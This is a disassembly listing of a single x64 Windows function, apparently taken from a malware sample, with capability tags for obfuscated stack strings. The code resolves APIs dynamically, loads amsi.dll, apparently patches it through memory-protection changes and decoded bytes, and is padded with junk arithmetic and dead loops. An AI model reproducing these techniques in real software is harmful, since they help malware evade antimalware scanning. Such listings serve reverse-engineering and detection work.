Function at 0x140088090
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x14d8
call fcn.1401086c0
sub rsp, rax
mov rax, qword [0x14024cc40]
xor rax, rsp
mov qword [rsp + 0x14c0], rax
mov byte [rsp + 0x70], 0xa
mov byte [rsp + 0x71], 0x67
mov byte [rsp + 0x72], reloc.OLEAUT32.dll_SafeArrayCopy
lea rcx, [rsp + 0x90]
call fcn.1400bc340
mov qword [rsp + 0x188], rax
lea rcx, [rsp + 0x73]
mov r8, rcx
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x2a0]
call fcn.1400bd590
lea rcx, [rsp + 0x220]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x188]
mov r8, rax
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x258]
call fcn.1400bd6c0
nop
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x41]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x40]
call fcn.1400892e0
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x41]
call fcn.140089270
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [rsp + 0x190]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0xd0], 0x1000
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xc8], rax
mov byte [rsp + 0x2c0], 0x73
mov byte [rsp + 0x2c1], 0x96
mov byte [rsp + 0x2c2], 0xdf
mov byte [rsp + 0x2c3], 0x8d
mov byte [rsp + 0x2c4], 0x5a
mov byte [rsp + 0x2c5], 0x26
mov byte [rsp + 0x2c6], 0xdd
mov byte [rsp + 0x2c7], 0x93
mov byte [rsp + 0x2c8], 0xec
mov byte [rsp + 0x2c9], 0x2f
mov byte [rsp + 0x2ca], 0xe3
mov byte [rsp + 0x2cb], 0xa7
mov byte [rsp + 0x2cc], 0xdf
lea rcx, [rsp + 0x92]
call fcn.1400bc340
mov qword [rsp + 0x198], rax
lea rcx, [rsp + 0x2cd]
mov r8, rcx
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x2b0]
call fcn.1400bd590
lea rcx, [rsp + 0x230]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x198]
mov r8, rax
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x240]
call fcn.1400bd6c0
nop
mov dword [rsp + 0x168], 0
lea rax, [rsp + 0x1078]
mov rdi, rax
xor eax, eax
mov ecx, reloc.OLEAUT32.dll_SafeArrayUnaccessData
rep stosb byte [rdi], al
lea rax, [rsp + 0x42]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x42]
call fcn.140089370
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0x43]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x43]
call fcn.140089430
mov qword [rsp + 0x1a0], rax
mov rcx, qword [rsp + 0x1a0]
call fcn.140024f20
mov qword [rsp + 0x160], rax
mov rcx, qword [rsp + 0x1a8]
call fcn.140024f20
mov qword [rsp + 0xf0], rax
lea rcx, [0x140120848]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], reloc.OLEAUT32.dll_SafeArrayUnaccessData
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
nop
movzx eax, word [rsp + 0x2d8]
movzx ecx, word [rsp + 0x2da]
cmp eax, ecx
jge 0x140088368
mov dword [rsp + 0xd8], 1
jmp 0x140088373
mov dword [rsp + 0xd8], 0
movzx eax, word [rsp + 0x2dc]
cmp dword [rsp + 0xd8], eax
jne 0x140088846
lea rcx, [0x140120860]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x128], rax
cmp qword [rsp + 0x128], 0
jne 0x1400883b4
mov qword [rsp + 0x128], 0
mov dword [rsp + 0x5c], 0x1ce9
mov dword [rsp + 0x74], 0x1bc2
mov dword [rsp + 0x64], 0x23c2
mov dword [rsp + 0x50], 0xf8a
mov dword [rsp + 0x3c], 0xd9b
mov eax, dword [rsp + 0x64]
cdq
mov ecx, 0x1806
idiv ecx
mov ecx, 0x1dbe
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x100], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 0x23aa
idiv ecx
mov ecx, dword [rsp + 0x100]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x104], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 0x22a0
idiv ecx
mov ecx, dword [rsp + 0x104]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x108], eax
mov eax, dword [rsp + 0x64]
cdq
mov ecx, 0xace
idiv ecx
mov ecx, dword [rsp + 0x108]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, 0x186c
cdq
idiv dword [rsp + 0x74]
cdq
mov ecx, 0xc1c
idiv ecx
mov dword [rsp + 0x10c], eax
mov eax, dword [rsp + 0x50]
cdq
mov ecx, 0xb7c
idiv ecx
mov ecx, dword [rsp + 0x10c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x110], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 0xf4d
idiv ecx
mov ecx, dword [rsp + 0x110]
add ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x5c]
add eax, 0xb72
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x50]
sub eax, 0xf62
sub eax, dword [rsp + 0x74]
mov dword [rsp + 0x14c], eax
mov eax, 0x2580
cdq
idiv dword [rsp + 0x64]
mov ecx, dword [rsp + 0x14c]
sub ecx, eax
mov eax, ecx
add eax, 0x1eb1
mov dword [rsp + 0x64], eax
mov eax, 0xdd8
cdq
idiv dword [rsp + 0x5c]
mov dword [rsp + 0x148], eax
mov eax, dword [rsp + 0x3c]
cdq
mov ecx, 0x1c2f
idiv ecx
mov ecx, dword [rsp + 0x148]
lea eax, [rcx + rax - 0x1dd8]
mov dword [rsp + 0x150], eax
mov eax, dword [rsp + 0x50]
cdq
mov ecx, 0x1889
idiv ecx
cdq
idiv dword [rsp + 0x3c]
cdq
mov ecx, 0x623
idiv ecx
mov ecx, dword [rsp + 0x150]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
mov ecx, 0x1775
idiv ecx
cdq
idiv dword [rsp + 0x64]
mov dword [rsp + 0x114], eax
mov eax, 0xe02
cdq
idiv dword [rsp + 0x5c]
cdq
mov ecx, 0x16c1
idiv ecx
mov ecx, dword [rsp + 0x114]
lea eax, [rcx + rax + 0x1c4b]
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x3c], eax
je 0x140088598
mov eax, dword [rsp + 0x5c]
cmp dword [rsp + 0x3c], eax
jle 0x1400887e9
mov eax, dword [rsp + 0x74]
cmp dword [rsp + 0x5c], eax
jge 0x1400887e9
lea rax, str.Ficha_upcqkCxF
mov qword [rsp + 0x1b0], rax
mov rdx, qword [rsp + 0x1b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateJobObjectW]
mov qword [rsp + 0x158], rax
cmp qword [rsp + 0x158], 0
je 0x1400887e9
mov dword [rsp + 0x58], 0x13c
mov eax, 0x1f82
cdq
idiv dword [rsp + 0x58]
add eax, 0x2668
sub eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
lea eax, [rax + rcx + 0x16fc]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
cmp dword [rsp + 0x58], eax
jle 0x1400887da
mov eax, 0xffffdb50
mov word [rsp + 0xf8], ax
mov dword [rsp + 0x340], 0x30178
mov dword [rsp + 0x344], 0xbcc98
mov dword [rsp + 0x348], 0x6b4
mov dword [rsp + 0x34c], 0xaf989
mov dword [rsp + 0x350], 0x22f4b
mov dword [rsp + 0x354], 0x86f10
mov dword [rsp + 0x358], 0x5d0fb
mov dword [rsp + 0x35c], 0x18ad9
mov dword [rsp + 0x360], 0xe3ace
mov dword [rsp + 0x364], 0x65e9f
mov dword [rsp + 0x368], 0x11613
mov dword [rsp + 0x36c], 0xb6858
mov dword [rsp + 0x370], 0x381b3
mov dword [rsp + 0x374], 0x88483
mov dword [rsp + 0x378], 0x3d8a5
mov dword [rsp + 0x37c], 0xa0d31
mov dword [rsp + 0x380], 0x11e68
mov dword [rsp + 0x384], 0xada4f
mov dword [rsp + 0x388], 0xa71f
mov dword [rsp + 0x38c], 0x839a4
mov dword [rsp + 0x390], 0x7607b
mov dword [rsp + 0x394], 0xc60fb
mov dword [rsp + 0x398], 0xb05a8
mov dword [rsp + 0x39c], 0x2d470
mov dword [rsp + 0x3a0], 0x498de
mov dword [rsp + 0x3a4], 0xed12e
mov eax, 4
imul rax, rax, 0x12
mov ecx, 4
imul rcx, rcx, 0x15
mov eax, dword [rsp + rax + 0x340]
mov dword [rsp + rcx + 0x340], eax
jmp 0x140088753
mov dword [rsp + 0x54], SafeArrayGetElement
jmp 0x140088767
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0x19
jge 0x140088794
mov eax, dword [rsp + 0x54]
inc eax
cdqe
movsxd rcx, dword [rsp + 0x54]
mov eax, dword [rsp + rax*4 + 0x340]
mov dword [rsp + rcx*4 + 0x340], eax
cmp dword [rsp + 0x54], 2
jge 0x140088792
jmp 0x140088794
jmp 0x14008875d
jmp 0x140088796
mov eax, 4
imul rax, rax, 9
mov ecx, 4
imul rcx, rcx, 0x10
mov eax, dword [rsp + rax + 0x340]
mov dword [rsp + rcx + 0x340], eax
jmp 0x1400887b8
mov eax, 4
imul rax, rax, 1
mov ecx, 4
imul rcx, rcx, 0x10
mov eax, dword [rsp + rax + 0x340]
mov dword [rsp + rcx + 0x340], eax
jmp 0x1400887da
mov rcx, qword [rsp + 0x158]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rdx, [0x140120890]
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x210], rax
cmp qword [rsp + 0xe8], 0
jne 0x14008882d
mov qword [rsp + 0xe8], 0
call qword [rsp + 0xe8]
mov dword [rsp + 0x118], eax
mov dword [rsp + 0x118], 0
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xc8]
mov rax, qword [rsp + 0x14f0]
mov rcx, qword [rax]
call qword [rsp + 0xf0]
lea rcx, [rsp + 0xa5]
call fcn.1400fd7d0
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x1b8], 0
lea rax, [rsp + 0x44]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x44]
call fcn.1400894e0
mov rdx, rax
lea rcx, [rsp + 0x300]
call fcn.1400bd540
nop
lea r9, [rsp + 0x300]
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0x14f8]
call fcn.1400fd4f0
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x1c8], rax
mov rcx, qword [rsp + 0x1c8]
call fcn.1401070b0
mov qword [rsp + 0x20], 0
mov r9d, reloc.OLEAUT32.dll_SafeArrayGetElement
mov r8, rax
mov rdx, qword [rsp + 0xe0]
mov rax, qword [rsp + 0x14f0]
mov rcx, qword [rax]
call qword [rsp + 0x160]
nop
lea rcx, [rsp + 0x270]
call fcn.1400bdb30
nop
lea rcx, [rsp + 0x300]
call fcn.1400bdb00
nop
mov dword [rsp + 0x2e0], 0xb63d5acd
mov dword [rsp + 0x2e4], 0x9faddc1e
mov qword [rsp + 0x2e8], 0xffffffffeb5fd94c
mov dword [rsp + 0x2f0], 0xe6c49565
mov qword [rsp + 0x2f8], 0x2b41a3d0
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x4c]
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xc8]
mov rax, qword [rsp + 0x14f0]
mov rcx, qword [rax]
call qword [rsp + 0xf0]
nop
lea rax, [rsp + 0x45]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x45]
call fcn.140089560
mov qword [rsp + 0x1d0], rax
lea rcx, str.amsi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [rsp + 0x1d0]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0xa8], 0x1de5
mov dword [rsp + 0x16c], 0x28a
mov eax, dword [rsp + 0xa8]
add eax, 0xf1f
sub eax, dword [rsp + 0xa8]
mov ecx, dword [rsp + 0xa8]
lea eax, [rax + rcx + 0x2382]
mov word [rsp + 0xfc], ax
mov eax, 0xaee
mov word [rsp + 0x60], ax
mov dword [rsp + 0x11c], 0x17e8
movsx eax, word [rsp + 0x60]
cdq
mov ecx, 0xf5d
idiv ecx
mov ecx, dword [rsp + 0x11c]
lea eax, [rcx + rax + 0xb28]
movsx ecx, word [rsp + 0x60]
lea eax, [rax + rcx - 0x16f3]
mov dword [rsp + 0x170], eax
mov qword [rsp + 0x130], 0x2b1
mov dword [rsp + 0x120], 0xeb1
mov eax, 0x51a
sub rax, qword [rsp + 0x130]
mov qword [rsp + 0x1d8], rax
mov eax, 0xd00
cqo
idiv qword [rsp + 0x130]
cqo
mov ecx, 0x158e
idiv rcx
mov rcx, qword [rsp + 0x1d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x130]
cqo
mov ecx, 0x1e54
idiv rcx
mov rcx, qword [rsp + 0x1e0]
sub rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x120]
sub rax, rcx
sub rax, 0xe6
mov dword [rsp + 0x174], eax
mov qword [rsp + 0x138], 0x24be
mov dword [rsp + 0x178], 0x2e6
mov eax, 0x794
cqo
idiv qword [rsp + 0x138]
mov rcx, qword [rsp + 0x138]
lea rax, [rcx + rax + 0x1617]
mov qword [rsp + 0x1e8], rax
mov eax, 0x2247
cqo
idiv qword [rsp + 0x138]
mov rcx, qword [rsp + 0x1e8]
sub rcx, rax
mov rax, rcx
add rax, 0x186e
mov dword [rsp + 0x17c], eax
mov qword [rsp + 0x140], 0x19e2
mov dword [rsp + 0x180], 0x17fe
mov eax, 0x2574
sub rax, qword [rsp + 0x140]
add rax, 0x11e3
sub rax, qword [rsp + 0x140]
mov rcx, qword [rsp + 0x140]
lea rax, [rax + rcx + 0x3dde]
mov dword [rsp + 0x184], eax
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0xd0], 0x1000
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xc8], rax
mov byte [rsp + 0x1050], 0x48
mov byte [rsp + 0x1051], 0x53
mov byte [rsp + 0x1052], 0x6c
mov byte [rsp + 0x1053], 0x72
mov byte [rsp + 0x1054], 0x63
mov byte [rsp + 0x1055], 0x7a
mov byte [rsp + 0x1056], 0x73
mov byte [rsp + 0x1057], 0x52
mov byte [rsp + 0x1058], 0x6a
mov byte [rsp + 0x1059], 0x55
mov byte [rsp + 0x105a], 0x34
lea rax, [rsp + 0x1060]
lea rcx, str.ZUyBMpcadC
mov rdi, rax
mov rsi, rcx
mov ecx, SafeArrayGetElement
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x1090]
xor r8d, r8d
lea rdx, [rsp + 0x1060]
lea rcx, [rsp + 0x12a0]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xc8]
mov rax, qword [rsp + 0x14f0]
mov rcx, qword [rax]
call qword [rsp + 0xf0]
mov byte [rsp + 0x91], 0
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x34], 1
mov byte [rsp + 0x46], 1
movzx eax, byte [rsp + 0x30]
test eax, eax
jne 0x140088cfa
movzx eax, byte [rsp + 0x34]
test eax, eax
je 0x140088d8f
movzx eax, byte [rsp + 0x46]
test eax, eax
je 0x140088d8f
mov dword [rsp + 0x78], 0x18ce
mov dword [rsp + 0xac], 0
jmp 0x140088d1f
mov eax, dword [rsp + 0xac]
inc eax
mov dword [rsp + 0xac], eax
cmp dword [rsp + 0xac], 0xc
jge 0x140088d40
cmp dword [rsp + 0x78], 0
jge 0x140088d34
jmp 0x140088d40
mov eax, dword [rsp + 0x78]
dec eax
mov dword [rsp + 0x78], eax
jmp 0x140088d0f
mov dword [rsp + 0x78], 0xceb68
mov dword [rsp + 0xb0], 0
cmp dword [rsp + 0xb0], 0xb
jge 0x140088d8f
movzx eax, byte [rsp + 0x30]
test eax, eax
je 0x140088d6f
movzx eax, byte [rsp + 0x30]
test eax, eax
jne 0x140088d78
movzx eax, byte [rsp + 0x34]
test eax, eax
jne 0x140088d7d
mov byte [rsp + 0x30], 0
mov eax, dword [rsp + 0xb0]
inc eax
mov dword [rsp + 0xb0], eax
jmp 0x140088d53
mov byte [rsp + 0xa4], 0
mov byte [rsp + 0x31], 0
mov byte [rsp + 0x35], 0
movzx eax, byte [rsp + 0x31]
test eax, eax
jne 0x140088db7
movzx eax, byte [rsp + 0x35]
test eax, eax
je 0x140088e4c
mov dword [rsp + 0x7c], 0xda6c
mov dword [rsp + 0xb4], 0
jmp 0x140088ddc
mov eax, dword [rsp + 0xb4]
inc eax
mov dword [rsp + 0xb4], eax
cmp dword [rsp + 0xb4], 0x14
jge 0x140088dfd
cmp dword [rsp + 0x7c], 0
jge 0x140088df1
jmp 0x140088dfd
mov eax, dword [rsp + 0x7c]
dec eax
mov dword [rsp + 0x7c], eax
jmp 0x140088dcc
mov dword [rsp + 0x7c], 0x1d58
mov dword [rsp + 0xb8], 0
cmp dword [rsp + 0xb8], 1
jge 0x140088e4c
movzx eax, byte [rsp + 0x35]
test eax, eax
je 0x140088e2c
movzx eax, byte [rsp + 0x31]
test eax, eax
jne 0x140088e35
movzx eax, byte [rsp + 0x31]
test eax, eax
jne 0x140088e3a
mov byte [rsp + 0x31], 1
mov eax, dword [rsp + 0xb8]
inc eax
mov dword [rsp + 0xb8], eax
jmp 0x140088e10
mov byte [rsp + 0xa3], 1
mov byte [rsp + 0xa1], 1
mov byte [rsp + 0x36], 0
mov byte [rsp + 0x47], 0
mov byte [rsp + 0x32], 0
movzx eax, byte [rsp + 0x36]
test eax, eax
jne 0x140088e8a
movzx eax, byte [rsp + 0x47]
test eax, eax
jne 0x140088e8a
movzx eax, byte [rsp + 0x32]
test eax, eax
je 0x140088f33
mov dword [rsp + 0x80], 0x2b58
mov dword [rsp + 0xbc], 0
jmp 0x140088eb2
mov eax, dword [rsp + 0xbc]
inc eax
mov dword [rsp + 0xbc], eax
cmp dword [rsp + 0xbc], 0x14
jge 0x140088edc
cmp dword [rsp + 0x80], 0
jge 0x140088eca
jmp 0x140088edc
mov eax, dword [rsp + 0x80]
dec eax
mov dword [rsp + 0x80], eax
jmp 0x140088ea2
mov dword [rsp + 0x80], 0xa7a3b
mov dword [rsp + 0xc0], 0
cmp dword [rsp + 0xc0], 0x51
jge 0x140088f2e
movzx eax, byte [rsp + 0x32]
test eax, eax
je 0x140088f0e
movzx eax, byte [rsp + 0x36]
test eax, eax
jne 0x140088f17
movzx eax, byte [rsp + 0x32]
test eax, eax
jne 0x140088f1c
mov byte [rsp + 0x32], 0
mov eax, dword [rsp + 0xc0]
inc eax
mov dword [rsp + 0xc0], eax
jmp 0x140088ef2
jmp 0x140089044
lea rax, [rsp + 0x3b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x648
rep stosb byte [rdi], al
mov dword [rsp + 0x84], 0
jmp 0x140088f64
mov eax, dword [rsp + 0x84]
inc eax
mov dword [rsp + 0x84], eax
movsxd rax, dword [rsp + 0x84]
cmp rax, 6
jae 0x140088fc3
mov dword [rsp + 0x88], 0
jmp 0x140088f8f
mov eax, dword [rsp + 0x88]
inc eax
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0x43
jge 0x140088fc1
movsxd rax, dword [rsp + 0x84]
imul rax, rax, 0x10c
lea rax, [rsp + rax + 0x3b0]
movsxd rcx, dword [rsp + 0x88]
mov dword [rax + rcx*4], 0x2e4
jmp 0x140088f7f
jmp 0x140088f54
lea rax, [rsp + 0xa00]
mov rdi, rax
xor eax, eax
mov ecx, 0x648
rep stosb byte [rdi], al
mov dword [rsp + 0x8c], 0
jmp 0x140088ff4
mov eax, dword [rsp + 0x8c]
inc eax
mov dword [rsp + 0x8c], eax
movsxd rax, dword [rsp + 0x8c]
cmp rax, 6
jae 0x140089044
mov dword [rsp + 0x68], 0
jmp 0x140089016
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0x43
jge 0x140089042
movsxd rax, dword [rsp + 0x8c]
imul rax, rax, 0x10c
lea rax, [rsp + rax + 0xa00]
movsxd rcx, dword [rsp + 0x68]
mov dword [rax + rcx*4], 0x7db
jmp 0x14008900c
jmp 0x140088fe4
mov byte [rsp + 0xa0], 0
mov byte [rsp + 0x38], 1
mov byte [rsp + 0x48], 0
mov byte [rsp + 0x33], 1
mov byte [rsp + 0x37], 0
movzx eax, byte [rsp + 0x38]
test eax, eax
je 0x140089129
movzx eax, byte [rsp + 0x48]
test eax, eax
je 0x140089129
movzx eax, byte [rsp + 0x33]
test eax, eax
je 0x140089129
movzx eax, byte [rsp + 0x37]
test eax, eax
je 0x140089129
mov dword [rsp + 0x6c], 0xf5dc
mov dword [rsp + 0x98], 0
jmp 0x1400890b9
mov eax, dword [rsp + 0x98]
inc eax
mov dword [rsp + 0x98], eax
cmp dword [rsp + 0x98], 0x27
jge 0x1400890da
cmp dword [rsp + 0x6c], 0
jge 0x1400890ce
jmp 0x1400890da
mov eax, dword [rsp + 0x6c]
dec eax
mov dword [rsp + 0x6c], eax
jmp 0x1400890a9
mov dword [rsp + 0x6c], 0x7d293
mov dword [rsp + 0x9c], 0
cmp dword [rsp + 0x9c], 0x2b
jge 0x140089129
movzx eax, byte [rsp + 0x33]
test eax, eax
je 0x140089109
movzx eax, byte [rsp + 0x37]
test eax, eax
jne 0x140089112
movzx eax, byte [rsp + 0x33]
test eax, eax
jne 0x140089117
mov byte [rsp + 0x38], 1
mov eax, dword [rsp + 0x9c]
inc eax
mov dword [rsp + 0x9c], eax
jmp 0x1400890ed
mov byte [rsp + 0x94], 1
mov byte [rsp + 0xa2], 1
mov byte [rsp + 0x93], 0
lea rax, [rsp + 0x49]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x49]
call fcn.1400895f0
mov rdx, rax
lea rcx, [rsp + 0x320]
call fcn.1400bd540
nop
lea r9, [rsp + 0x320]
lea r8, [rsp + 0x258]
lea rdx, [rsp + 0x288]
lea rcx, [rsp + 0x14f8]
call fcn.1400fd4f0
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x1f8]
call fcn.1401070b0
mov qword [rsp + 0x20], 0
mov r9d, reloc.OLEAUT32.dll_SafeArrayGetElement
mov r8, rax
mov rdx, qword [rsp + 0xe0]
mov rax, qword [rsp + 0x14f0]
mov rcx, qword [rax]
call qword [rsp + 0x160]
nop
lea rcx, [rsp + 0x288]
call fcn.1400bdb30
nop
lea rcx, [rsp + 0x320]
call fcn.1400bdb00
nop
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x4c]
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0xc8]
mov rax, qword [rsp + 0x14f0]
mov rcx, qword [rax]
call qword [rsp + 0xf0]
nop
lea rcx, [rsp + 0x240]
call fcn.1400bdb30
nop
lea rcx, [rsp + 0x258]
call fcn.1400bdb30
nop
mov rcx, qword [rsp + 0x14c0]
xor rcx, rsp
call fcn.140108720
add rsp, 0x14d8
pop rdi
pop rsi
ret